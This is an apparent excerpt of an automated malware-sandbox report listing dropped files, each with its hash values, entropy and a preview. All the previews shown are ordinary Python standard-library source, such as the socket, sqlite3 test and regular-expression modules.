Preview:	"""Routines to help recognizing sound files.....Function whathdr() recognizes various types of sound file headers...It understands almost all headers that SOX can decode.....The return tuple contains the following items, in this order:..- file type (as SOX understands it)..- sampling rate (0 if unknown or hard to decode)..- number of channels (0 if unknown or hard to decode)..- number of frames in the file (-1 if unknown or hard to decode)..- number of bits/sample, or 'U' for U-LAW, or 'A' for A-LAW....If the file doesn't have a recognizable type, it returns None...If the file can't be opened, OSError is raised.....To compute the total time, divide the number of frames by the..sampling rate (a frame contains a sample for each channel).....Function what() calls whathdr(). (It used to also use some..heuristics for raw data, but this doesn't work very well.)....Finally, the function test() is a simple main program that calls..what() for all files mentioned on the argument list. For dire

C:\Users\Public\QExvbmVOb25l\Lib\socket.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	37745
Entropy (8bit):	4.6177949142646435
Encrypted:	false
SSDEEP:	768:bgXSVL2vXF5e7ZYGW3fBp58RrNrgIULHmdDS:bsDffBMRrdgIULHkDS
MD5:	DFBE056F2D850425AA0B39D9DC6BDA6A
SHA1:	A78C9D974BE1C3C49475BF35353B7AAD9771D567
SHA-256:	3B058383016C22045FC99872E34CEC0ADF1234BFBFA13D486E721FCCC2945936
SHA-512:	FA66AA6662B02048D3F438E8E2EC89EA96E8F5700205058A414253EAD5917BD737FC7C07B3158BD76EC26A3DD5CDD15D7A1F85335665ACD82FE260EED35797BE
Malicious:	false
Reputation:	low
Preview:	# Wrapper module for _socket, providing some additional facilities..# implemented in Python....."""\..This module provides socket operations and some related functions...On Unix, it supports IP (Internet Protocol) and Unix domain sockets...On other systems, it only supports IP. Functions specific for a..socket are available as methods of the socket object.....Functions:....socket() -- create a new socket object..socketpair() -- create a pair of new socket objects []..fromfd() -- create a socket object from an open file descriptor []..send_fds() -- Send file descriptor to the socket...recv_fds() -- Recieve file descriptors from the socket...fromshare() -- create a socket object from data received from socket.share() [*]..gethostname() -- return the current hostname..gethostbyname() -- map a hostname to its IP number..gethostbyaddr() -- map an IP number or hostname to DNS info..getservbyname() -- map a service name and a protocol name to a port number..getprotobyname() -- map a protoco

C:\Users\Public\QExvbmVOb25l\Lib\socketserver.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	28140
Entropy (8bit):	4.5175680890246905
Encrypted:	false
SSDEEP:	384:140jlGmx6MdZG5Ft+lNYk7gaUgKck2bw8N1xs5dghwHHOGQ/NfX:28wi0J8QywLdk/
MD5:	159421B571226C335F310FCA087240ED
SHA1:	ECE52601CAE44A979A55342045E046293780CB33
SHA-256:	062B0F5441D9C60F01DD7A60E359ACDB01125E36DB2BED84DB58B2294523B14A
SHA-512:	7ADE9382D2E307F2C2B81A096EED28EA367AB59BBA0DA80B424DB91242F48787AFBEF1EAFF750F0C52E724D5BEEABBA17C3687A4929C2F92059B324BF81EFC99
Malicious:	false
Reputation:	low
Preview:	"""Generic socket server classes.....This module tries to capture the various aspects of defining a server:....For socket-based servers:....- address family:.. - AF_INET{,6}: IP (Internet Protocol) sockets (default).. - AF_UNIX: Unix domain sockets.. - others, e.g. AF_DECNET are conceivable (see <socket.h>..- socket type:.. - SOCK_STREAM (reliable stream, e.g. TCP).. - SOCK_DGRAM (datagrams, e.g. UDP)....For request-based servers (including socket-based):....- client address verification before further looking at the request.. (This is actually a hook for any processing that needs to look.. at the request before anything else, e.g. logging)..- how to handle multiple requests:.. - synchronous (one request is handled at a time).. - forking (each request is handled by a new process).. - threading (each request is handled by a new thread)....The classes in this module favor the server type that is simplest to..write: a

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2607
Entropy (8bit):	4.782580700337305
Encrypted:	false
SSDEEP:	48:YOfevzhVebHd6wMTpe7d7h11pS1eBm0Tq6p6e9COnMfjUhgGnQU:YOeH4dd11cedbr9COn4jaQU
MD5:	56E9464AEEC255E249414D00B5A39075
SHA1:	899FDBF41346582414BC919615006626228B1A3D
SHA-256:	3DF225315EFFCA29C26196714CF4653A554671EC877019B4BB9D2C0D3A951DD6
SHA-512:	CC693DAEF562DE7B8F684AF49B36D1CC8CBBC427C332E9C000B87C12A96A19FC6548100EF2F77C679C011F7E1CF7A2B75C816A85540B50B1AB083222872A4F3A
Malicious:	false
Reputation:	low
Preview:	# pysqlite2/__init__.py: the pysqlite2 package...#..# Copyright (C) 2005 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any source distri

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\pycache\init.cpython-310.pyc.59364816

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1659
Entropy (8bit):	5.251597495375789
Encrypted:	false
SSDEEP:	48:N2TWmbT1esm0TcObLNuETO6jG+Qv6Mqm0:N2TWmle8QNETO5zPq1
MD5:	E4B3FAA2BB6EBD69E4CD5D9DB6677FDE
SHA1:	5FED9B363EE69451682AC19772E62B191B722741
SHA-256:	4A698067EEC867C55A8B9E6B3C412370D2689CB0D610089B27CDF64DB70400A5
SHA-512:	29C3167532CE47A25EF2064B2FE2CBADEE2D58E4EE822D0E13EFEE79B0D401E3EBB80BC885316A7DB83CE21A73C21C34A8B5A1353966CAC57A68B11A92B025FD
Malicious:	false
Reputation:	low
Preview:	o........'-d/........................@...s....d.Z.d.d.l.T.d.d...Z.d.S.).u.....The sqlite3 extension module provides a DB-API 2.0 (PEP 249) compliant.interface to the SQLite library, and requires SQLite 3.7.15 or newer...To use the module, start by creating a database Connection object:.. import sqlite3. cx = sqlite3.connect("test.db") # test.db will be created or opened..The special path name ":memory:" can be provided to connect to a transient.in-memory database:.. cx = sqlite3.connect(":memory:") # connect to a database in RAM..Once a connection has been established, create a Cursor object and call.its execute() method to perform SQL queries:.. cu = cx.cursor().. # create a table. cu.execute("create table lang(name, first_appeared)").. # insert values into a table. cu.execute("insert into lang values (?, ?)", ("C", 1972)).. # execute a query and iterate over the result. for row in cu.execute("select * from lang"):. print(row).. cx.close()..Th

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\pycache\dbapi2.cpython-310.pyc.59365856

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2987
Entropy (8bit):	5.130993463150614
Encrypted:	false
SSDEEP:	48:b2fEkeTde1heBB/KP+7oheXYPX7sV2PXSedPuPXRGqPz0DOPXuPXDFePXd/UTb2a:qf8TdqhgB/6+7oheXYv7sV2vSeRuvRFg
MD5:	96066D9EA4730FB8A52B9341CDD862A3
SHA1:	566D9F02596B94C2CAA4FE07FECCADF6F8F8DF11
SHA-256:	70B1E101D7919A2CA10B83AC079F4AB8631F594E99AE217042D739C7099C4FAB
SHA-512:	A07F00D0B9BD689E93BE77BB0F32CFE4409D1AFE1977F0F2BE82CF08CC302CE6735BB6F06DF3CED43189963BD7D086114352F8348B254EA1EE1847C780C45359
Malicious:	false
Reputation:	low
Preview:	o........'-db........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.Z.d.Z.d.Z.e.j.Z.e.j.Z.e.j.Z.d.d...Z.d.d...Z.d.d...Z.e.d.d...e...d...D.....Z.e.d.d...e...d...D.....Z.e.Z.e.j.j...e.....d.d...Z.e.....d.d...Z.[.d.S.)......N)...*Z.qmark.....z.2.0c....................C........t.t...\|...d.d.......S.).N.....)...Date..time..localtime..Z.ticks..r.....2C:\Users\Public\QExvbmVOb25l\lib\sqlite3\dbapi2.py..DateFromTicks)..........r....c....................C...s....t.t...\|...d.d.......S.).Nr.........)...Timer....r....r....r....r....r......TimeFromTicks,...r....r....c....................C...r....).Nr....)...Timestampr....r....r....r....r....r......TimestampFromTicks/...r....r....c....................C........g.\|.].}.t.\|.....q.S.r........int.....0..xr....r....r......<listcomp>2..........r.......c....................C...r....r....r....r....r....r....r....r....3...r....c....................C...sP...d.d...}.d.d...}.d.d...}.d.d...}.t.t.j.\|.....t.t.j.\|.....t.d.\|.....t.d.\|.....d.S.).Nc........

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\dbapi2.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3426
Entropy (8bit):	4.798494253126017
Encrypted:	false
SSDEEP:	96:oOeH4d8NkmJjmelfgApz8ngv8fP1gJF/vG/vm/t/wvBFh244RmsRD9v8:ofLl/BTpz8gvse/vG/vm/t/wv28sRxv8
MD5:	B25FAA499B2E8E766D581E09B20319F6
SHA1:	F1B29C053EE58E14313C2640733D756C0C7FC213
SHA-256:	7296221686BEB47624EA7BF4AB82E9D5AA4E25160042946D2827868897762694
SHA-512:	ADDF733DC17A29AC1649878C3C8FAC467C9AA0DA9C3A0020FD6D58E7498E5C63BE6E55D957812DB2AD4EE2C251D635C838576709984416FF3DB342477D798AF4
Malicious:	false
Reputation:	low
Preview:	# pysqlite2/dbapi2.py: the DB-API 2.0 interface..#..# Copyright (C) 2004-2005 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any source d

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\dump.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3374
Entropy (8bit):	4.814493644979349
Encrypted:	false
SSDEEP:	48:x+tzfkdKSQqQAbhtPXe/dMB+GDb3rb9R5B/jdkI:8tzfkdKvAbrXe/OEGDb3b/jmI
MD5:	B5E473D97E46AF8C8E0D471CA17FC3E4
SHA1:	49547E57808925AC45611540E09F6B1C375EAF83
SHA-256:	30769C19582B0F62506E6BF9E4F36A86F9FD92F2E5C618F770EB14DA0C05F16E
SHA-512:	CD1262B666935CEEE69657A3186A4DC84EF788604E6ABD484A1D8E756283A4631149BCACE38725BD6930764C514636EA0AB77BB35B76FD07B64931276AFDAB5B
Malicious:	false
Reputation:	low
Preview:	# Mimic the sqlite3 console shell's .dump command..# Author: Paul Kippes <kippesp@gmail.com>....# Every identifier in sql is quoted based on a comment in sqlite..# documentation "SQLite adds new keywords from time to time when it..# takes on new features. So to prevent your code from being broken by..# future enhancements, you should normally quote any identifier that..# is an English language word, even if you do not have to."....def _iterdump(connection):.. """.. Returns an iterator to the dump of the database in an SQL text format..... Used to produce an SQL dump of the database. Useful to save an in-memory.. database for later restoration. This function should not be called.. directly but instead called from the Connection method, iterdump()... """.... cu = connection.cursor().. yield('BEGIN TRANSACTION;').... # sqlite_master table contains the SQL CREATE statements for the database... q = """.. SELECT "name", "type", "sql".. FROM "sqli

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\test\backup.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6016
Entropy (8bit):	4.741653622865881
Encrypted:	false
SSDEEP:	96:tpVoJhXoX1i5lJ3tl/C3frCek2CL/wOz/HS2hrYIH8TfoDLubtonJA:tpV0XoX1OlBtl/Ors26/Tz/drYwcAHu/
MD5:	AEC581A7572526389DB816001889E02E
SHA1:	B76A4ECD889BF1700B76BB9D74EB71D264ECBD50
SHA-256:	A49A36C9A094377078490C3FB7CBBA7B9F75B69FD8E6B14AA26B82F6E5FCF02C
SHA-512:	4E82F0B3D4CC89A7139E520A054BCD16FFC59CE07FCB360B819766272ED911A0CCC14A0880ACE1F4EAA24F25C43A8B106B8E8AB9029C0E8E0C89A3601EEC79E1
Malicious:	false
Reputation:	low
Preview:	import sqlite3 as sqlite..import unittest......class BackupTests(unittest.TestCase):.. def setUp(self):.. cx = self.cx = sqlite.connect(":memory:").. cx.execute('CREATE TABLE foo (key INTEGER)').. cx.executemany('INSERT INTO foo (key) VALUES (?)', [(3,), (4,)]).. cx.commit().... def tearDown(self):.. self.cx.close().... def verify_backup(self, bckcx):.. result = bckcx.execute("SELECT key FROM foo ORDER BY key").fetchall().. self.assertEqual(result[0][0], 3).. self.assertEqual(result[1][0], 4).... def test_bad_target(self):.. with self.assertRaises(TypeError):.. self.cx.backup(None).. with self.assertRaises(TypeError):.. self.cx.backup().... def test_bad_target_filename(self):.. with self.assertRaises(TypeError):.. self.cx.backup('some_file_name.db').... def test_bad_target_same_connection(self):.. with self.assertRaises(ValueError):.. self.cx

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\test\dbapi.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	40385
Entropy (8bit):	4.588087457692222
Encrypted:	false
SSDEEP:	384:vAs/92/gGB+a2Oez3HduGt9H9r959A9L909U9HOo+EQcfll9DCX7:vAszz393hdryBCGJOjQlLDG
MD5:	6539BCA6900C9B6C073C978D2ACF51B4
SHA1:	8610EFAAC05DAB02FB6B6FBA4531FB2C98C82203
SHA-256:	E61C779D30E6A5A59A28A6CF6196B56CDDCDD639EC8A1A171E072FED1CE7B628
SHA-512:	2F362BFCDC54A750C4421A00059EC028683D6F5D59DE04DC78BB15BEAC176D5ACB33AC8026325BB50599719FE136CF898F6E149EF02AD3D465D9B470BF2AB62C
Malicious:	false
Reputation:	low
Preview:	# pysqlite2/test/dbapi.py: tests for DB-API compliance..#..# Copyright (C) 2004-2010 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any s

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\test\dump.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4803
Entropy (8bit):	4.617724687837092
Encrypted:	false
SSDEEP:	96:Do1ORCU/pUkE3RVVb6Wcxr9XEeomh6R3cFoFpAmnzm5:Do1O//pe3CNwmUZU4p1na5
MD5:	A9C61F849956F87269BA639FA0224747
SHA1:	142CAEE6C62304D7AD4D6CE35F66186C6A778ECB
SHA-256:	6108E4763A319C81534103F8A834455F573220F409D0EA511D0977F500E8D203
SHA-512:	46B87C899F80D6AD4EDF9C8688760D1ABA7806127AE4F9A2CF36A4EBDD278C704C10E9DD6507374BA96F357713FD7EBBA9FCC5BA4C29943A5A348812C25D28C5
Malicious:	false
Reputation:	low
Preview:	# Author: Paul Kippes <kippesp@gmail.com>....import unittest..import sqlite3 as sqlite......class DumpTests(unittest.TestCase):.. def setUp(self):.. self.cx = sqlite.connect(":memory:").. self.cu = self.cx.cursor().... def tearDown(self):.. self.cx.close().... def test_table_dump(self):.. expected_sqls = [.. """CREATE TABLE "index"("index" blob);""".. ,.. """INSERT INTO "index" VALUES(X'01');""".. ,.. """CREATE TABLE "quoted""table"("quoted""field" text);""".. ,.. """INSERT INTO "quoted""table" VALUES('quoted''value');""".. ,.. "CREATE TABLE t1(id integer primary key, s1 text, " \.. "t1_i1 integer not null, i2 integer, unique (s1), " \.. "constraint t1_idx1 unique (i2));".. ,.. "INSERT INTO \"t1\" VALUES(1,'foo',10,20);".. ,.. "

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\test\factory.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12677
Entropy (8bit):	4.724023019248057
Encrypted:	false
SSDEEP:	96:FOeH4dLD4LA9zHLA56ClknbQY4lZ/2XsmfYVebAUlmV5oN04b+nrIFjV5JFxsDKi:FfCjyl265mfE0NlmaN0ZrIT/Vlna5
MD5:	C1F9F8A4DC59A1C15A4FE146C452183F
SHA1:	9A053FB59D6CD508FB53AFC1085FF0E525F4CF5F
SHA-256:	F01879CF1EA68384C47D1CD9C688610AFDAF161DDE628D40ECB633E4521B33B1
SHA-512:	CD9D1446A344324F9D33F7BB668DCD38A6A314AD521CA6640C5D7113D3FBBFD9DCC966CEDD5A47E2A9BFCE4234086193DA1FB4AF65B03D58C87936D8D1B27333
Malicious:	false
Reputation:	low
Preview:	# pysqlite2/test/factory.py: tests for the various factories in pysqlite..#..# Copyright (C) 2005-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\test\hooks.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11217
Entropy (8bit):	4.438152767552218
Encrypted:	false
SSDEEP:	192:kfVKcdEJsBs+wHFSE4vH8ndq8nkD8nGZ8Qmgna5:GHetB
MD5:	8326D0B9A8A0752CB58DEFD0E0996FC3
SHA1:	AEA926412A3A5E74BB48F3E9FB054796979C8D31
SHA-256:	CC5209FC0BA75D0EF84372E3E27C1CF961B2A1F10146DA4C6C8DF62D9A24ADB6
SHA-512:	3EE676F7C54902D1A87106CF26E3F30B506183FA8F972B3CB68147DB0D8F4CBF13F742BF88BDA0E9965A13623D38912906499BFB0DA7EAA4B04042F96E979965
Malicious:	false
Reputation:	low
Preview:	# pysqlite2/test/hooks.py: tests for various SQLite-specific hooks..#..# Copyright (C) 2006-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altere

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\test\regression.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	17793
Entropy (8bit):	4.591250100488077
Encrypted:	false
SSDEEP:	192:+fT+FjQ5zjLVX6oxvLv7WGKDTgPKxOQaI8i8CgqOqopna5:m+y5zPFlj7ogPKQ87ZOqf
MD5:	55B56B3113C910107F2FCF934BB8DA40
SHA1:	751A7AC013ADB81690259713933D830A763B1A25
SHA-256:	D0A5C63EF19C729C3F272DE70584A3ADCF7F93B2AC41E084D357BEEFFFFC99D5
SHA-512:	76437E7DBB1475963EC9892E963462CF534A5ADEC7BE18D37F0AAB67FA86754103CF75A2E7AB19B1B13CF466FF924E4EB4E50DE49E829D2E1D5EC3D981F9122C
Malicious:	false
Reputation:	low
Preview:	# pysqlite2/test/regression.py: pysqlite regression tests..#..# Copyright (C) 2006-2010 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from an

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\test\transactions.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7690
Entropy (8bit):	4.581086760965344
Encrypted:	false
SSDEEP:	96:AOeH4dyrNrUDy7KRjXDLHJSHuwMNaEyEfnwr2nzm5:AfjtUDy7K5XfpAMNCSna5
MD5:	ADD004A53BBE4E30587DD0ACC3EEEEED
SHA1:	1D7C55785C424A5E7C8A1FF4FB67C947DA2207A1
SHA-256:	3D27164EEDC497BD57C83FB437418B52C5900F44A7BACB6C7A4676F784B837B3
SHA-512:	5E0CFC446B9B6EE34EA0A13E1A9D4D095E12CE72A199208A3818EA6725F0AA381DE6E0F2569B21D57FD74D61E5FF59334E39C2335FB58C2E6A3E54FEAC60D47F
Malicious:	false
Reputation:	low
Preview:	# pysqlite2/test/transactions.py: tests transactions..#..# Copyright (C) 2005-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any sou

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\test\types.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	17190
Entropy (8bit):	4.616954370576151
Encrypted:	false
SSDEEP:	192:0fVotMrW5upva7Dxk3EUTpWPlbd4iEWfe5KgvJN5NELFNaLDc9wOna5:wCM4kTWPlbdWWfeckJNILFNax
MD5:	61C68E5E631D3AC0C379E6FE4B2953A9
SHA1:	6E56366DEF72BDAC281B0A3073D18BB2842B5E02
SHA-256:	421C9646BF5011A5B668BFB15D61E018A939322AC00646E188C708CDC1CF26A2
SHA-512:	28F88419FB547E479323709C9A91473EAE0E7D2A78B230F1D26930F5C517CD15D7331425F7039460DA6F0DB760780CD8DA1F6F580A5600983A2052B26F646D0D
Malicious:	false
Reputation:	low
Preview:	# pysqlite2/test/types.py: tests for type conversion and detection..#..# Copyright (C) 2005 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered fro

C:\Users\Public\QExvbmVOb25l\Lib\sqlite3\test\userfunctions.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20148
Entropy (8bit):	4.662994577920809
Encrypted:	false
SSDEEP:	192:UfJPM2ScTrvxX5wr4+W8Kc2bdgvK9r1rpKW394KDF1P2gna5:I6gY2bdgQr1rHWX
MD5:	93807FB7CBDEE9AAC361028C6A4268FD
SHA1:	DC414C7963CE880D8A67A986474CE1A544A852AB
SHA-256:	DA83E28CAC7914D45708DDE1113CF1CE91E06B8E1107B554CAF92D0D7039C73D
SHA-512:	DD83B4E7A58D7D988E1FEB3A908EAC56A213CD2322B5F6954A7A1427E892177FC100A1E302AD2646C8D70B6B4E739536E155FF9270B6E6FEFAB15B5ECFF24ED5
Malicious:	false
Reputation:	low
Preview:	# pysqlite2/test/userfunctions.py: tests for user-defined functions and..# aggregates...#..# Copyright (C) 2005-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original sof

C:\Users\Public\QExvbmVOb25l\Lib\sre_compile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	28781
Entropy (8bit):	4.519014462745639
Encrypted:	false
SSDEEP:	384:5FBn9P6OfkjvX3hh1SNBFwuO6uw0ZxF6H/5nxANHuqn7IVBRg:5FBn9P622aBC6b0ZxFu/5nyNHui0VBRg
MD5:	F09EB9E5E797B7B1B4907818FEF9B165
SHA1:	8F9E2BC760C7A2245CAE4628CAECDF1ADA35F46D
SHA-256:	CDB9BDCAB7A6FA98F45EF47D3745AC86725A89C5BAF80771F0451D90058A21D6
SHA-512:	E71FB7B290BB46AEE4237DBF7FF4ADC2F4491B1FC1C48BD414F5CE376D818564FD37B6113997A630393D9342179FCB7CE0462D6AAD5115E944F8C0CCAB1FA503
Malicious:	false
Reputation:	low
Preview:	#..# Secret Labs' Regular Expression Engine..#..# convert template to internal format..#..# Copyright (c) 1997-2001 by Secret Labs AB. All rights reserved...#..# See the sre.py file for information on usage and redistribution...#...."""Internal support module for sre"""....import _sre..import sre_parse..from sre_constants import *....assert _sre.MAGIC == MAGIC, "SRE module mismatch"...._LITERAL_CODES = {LITERAL, NOT_LITERAL}.._REPEATING_CODES = {REPEAT, MIN_REPEAT, MAX_REPEAT}.._SUCCESS_CODES = {SUCCESS, FAILURE}.._ASSERT_CODES = {ASSERT, ASSERT_NOT}.._UNIT_CODES = _LITERAL_CODES \| {ANY, IN}....# Sets of lowercase characters which have the same uppercase..._equivalences = (.. # LATIN SMALL LETTER I, LATIN SMALL LETTER DOTLESS I.. (0x69, 0x131), # i... # LATIN SMALL LETTER S, LATIN SMALL LETTER LONG S.. (0x73, 0x17f), # s... # MICRO SIGN, GREEK SMALL LETTER MU.. (0xb5, 0x3bc), # .... # COMBINING GREEK YPOGEGRAMMENI, GREEK SMALL LETTER IOTA, GREEK PROSGEGRAMMENI

C:\Users\Public\QExvbmVOb25l\Lib\sre_constants.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7438
Entropy (8bit):	5.182844332397723
Encrypted:	false
SSDEEP:	192:5eMD6PqhJ1J1eWWdQbaAtYetYetYAPRtihfylCcfPAEvuzgQ:5eC7eKacRtilCAEK
MD5:	BCA79743254AA4BC94DACE167A8B0871
SHA1:	D1DA34FBE097F054C773FF8040D2E3852C3D77F1
SHA-256:	513373CDE5987D794DC429F7C71A550FE49E274BF82D0856BEC40DCA4079DADC
SHA-512:	1C0AB3CE7B24ACD2FFBD39A9D4BF343AA670525465B265A6572BDEC2036B1A72AAAFE07AFE63A21246456427F10BE519AEEE9FC707CBB0151AC1E180239AD2AF
Malicious:	false
Reputation:	low
